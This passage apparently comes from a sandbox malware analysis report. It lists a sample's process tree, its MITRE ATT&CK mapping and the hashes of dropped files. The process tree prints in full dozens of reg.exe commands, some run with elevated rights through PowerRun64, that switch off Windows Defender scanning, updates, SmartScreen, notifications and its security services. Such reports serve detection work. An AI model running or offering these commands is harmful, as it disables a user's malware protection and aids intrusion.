  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableArchiveScanning" /t reg_DWORD /d "1" /f
  2⤵
  PID:2284
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupFullScan" /t reg_DWORD /d "1" /f
  2⤵
  PID:2964
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupQuickScan" /t reg_DWORD /d "1" /f
  2⤵
  PID:2788
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRemovableDriveScanning" /t reg_DWORD /d "1" /f
  2⤵
  PID:2768
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRestorePoint" /t reg_DWORD /d "1" /f
  2⤵
  PID:2888
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningMappedNetworkDrivesForFullScan" /t reg_DWORD /d "1" /f
  2⤵
  PID:2300
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningNetworkFiles" /t reg_DWORD /d "1" /f
  2⤵
  PID:2916
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "PurgeItemsAfterDelay" /t reg_DWORD /d 0 /f
  2⤵
  PID:2628
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleDay" /t reg_DWORD /d 8 /f
  2⤵
  PID:2644
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleTime" /t reg_DWORD /d 0 /f
  2⤵
  PID:2744
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanOnlyIfIdle" /t reg_DWORD /d 0 /f
  2⤵
  PID:2856
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanParameters" /t reg_DWORD /d 0 /f
  2⤵
  PID:2776
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" /v "FirstAuGracePeriod" /t reg_DWORD /d "0" /f
  2⤵
  PID:2656
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "DisableUpdateOnStartupWithoutEngine" /t reg_DWORD /d 1 /f
  2⤵
  PID:2664
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleDay" /t reg_DWORD /d 8 /f
  2⤵
  PID:2604
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleTime" /t reg_DWORD /d 0 /f
  2⤵
  PID:2616
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "SignatureUpdateCatchupInterval" /t reg_DWORD /d 0 /f
  2⤵
  PID:2624
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControl" /t reg_SZ /d "Anywhere" /f
  2⤵
  PID:2648
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControlEnabled" /t REG_DWORD /d 1 /f
  2⤵
  PID:2672
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t reg_DWORD /d "1" /f
  2⤵
  PID:2684
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t reg_DWORD /d "0" /f
  2⤵
  PID:2728
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReportingLocation" /t reg_MULTI_SZ /d "0" /f
  2⤵
  PID:3044
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t reg_DWORD /d "2" /f
  2⤵
  PID:2884
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "LocalSettingOverrideSpynetReporting" /t reg_DWORD /d 0 /f
  2⤵
  PID:3040
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Systray" /v "HideSystray" /t reg_DWORD /d "1" /f
  2⤵
  PID:1504
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t reg_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender notification settings
  PID:3052
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender notification settings
  PID:2600
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /t reg_BINARY /d "030000000000000000000000" /f
  2⤵
  PID:1436
- C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1664
- - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1288
  - - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:1892
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        
        PID:2592
- C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1256
- - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2092
  - - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:1804
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:2936
- C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2924
- - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:448
  - - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:356
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:2096
- C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1080
- - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1992
  - - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:2988
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:2576
- C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2288
- - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2496
  - - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:2112
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:2788
- C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:768
- - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1556
  - - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:2868
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies security service
        
        PID:2600
- C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1580
- - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2956
  - - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:2808
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies security service
        
        PID:2528
- C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2712
- - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2664
  - - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:1436
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:1300
- C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3036
- - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2160
  - - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:1256
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        
        PID:620
- C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1320
- - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2500
  - - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:2444
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:2236
- C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2312
- - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:956
  - - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:1752
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:2892
- C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:936
- - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:716
  - - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:316
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:3048
- C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:536
- - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:800
  - - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:1740
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:2964
- C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2296
- - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3028
  - - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:2788
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies security service
        
        PID:2424
- C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2264
- - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2800
  - - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:1820
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies security service
        
        PID:2384
- C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2496
- - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1144
  - - C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_57_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:1792
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:2276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell -Command "Get-MpPreference"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('^a')
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('^c')
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2564

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20241130085810.log C:\Windows\Logs\CBS\CbsPersist_20241130085810.cab
1⤵
- Drops file in Windows directory
PID:1932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\autD337.tmp

Filesize
25KB

MD5
436c1bb98deeccecb73fad945f1dd3dc

SHA1
774313ba911945589971bbc73498d81f060dabe6

SHA256
05eae1691149cc66e458d5e5b4430bd3b938b278b8bdb2c887a13c9871004c51

SHA512
66ea41b9b4a42f7c40d1ce5b6e82a6f03e8489648b912d96a81efa13d340d4d651078df7c1302c595ca83408e7208d1d79f02165dc27383952a9abe7f851c3e2

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
af80210b0c31a48eda6d2b93c86df21a

SHA1
1e0cb2621b302c011c948556b1b97103d00ccd33

SHA256
7ce680ffb4c86899bf2deda439b54b5fd033dfd92cf2a55779513c33ae6721bb

SHA512
bb42527f3b3d58360cf3d888b8f3f093a82af18c950cd68833db93c42c33b9f7822ac1d96213e88b4ce398857f8f06e360f547195f40addee57ce6b53a502eed

Download Submit
C:\Windows\Temp\bkrcirs

Filesize
81KB

MD5
940b1915cadee0e2b33d80799816f6c7

SHA1
2c10e4fec3e8c054055d1ed78757117575f273f2

SHA256
81e89e7266cfe5158e44f5578c8be61353e781daebdd47a33597e9ec503d379c

SHA512
